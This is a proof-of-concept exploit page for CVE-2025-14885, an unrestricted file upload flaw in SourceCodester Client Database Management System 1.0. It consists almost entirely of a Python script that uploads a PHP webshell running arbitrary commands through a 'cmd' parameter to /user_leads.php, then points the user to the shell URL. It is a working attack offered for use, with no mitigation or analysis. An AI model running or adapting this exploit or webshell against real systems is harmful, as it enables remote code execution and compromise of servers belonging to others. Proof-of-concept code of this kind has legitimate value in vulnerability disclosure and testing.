CVE-2025-14885 SourceCodester Client Database Management System 1.0 无限制文件上传漏洞

import requests import sys # CVE-2025-14885 PoC - Unrestricted File Upload # Target: SourceCodester Client Database Management System 1.0 # Component: /user_leads.php (Leads Generation Module) def exploit(target_url, file_path): """ Exploit for CVE-2025-14885 Uploads a PHP webshell to the target server """ upload_url = f"{target_url}/user_leads.php" # PHP webshell content webshell = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" # Prepare the malicious file files = { 'file': ('shell.php', webshell, 'application/x-php') } # Optional: Add authentication if required data = { 'action': 'upload', 'module': 'leads' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Attempting to upload webshell to {upload_url}") response = requests.post(upload_url, files=files, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] File upload successful!") print(f"[+] Try accessing the shell at: {target_url}/uploads/shell.php?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/cdbms") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target, 'shell.php')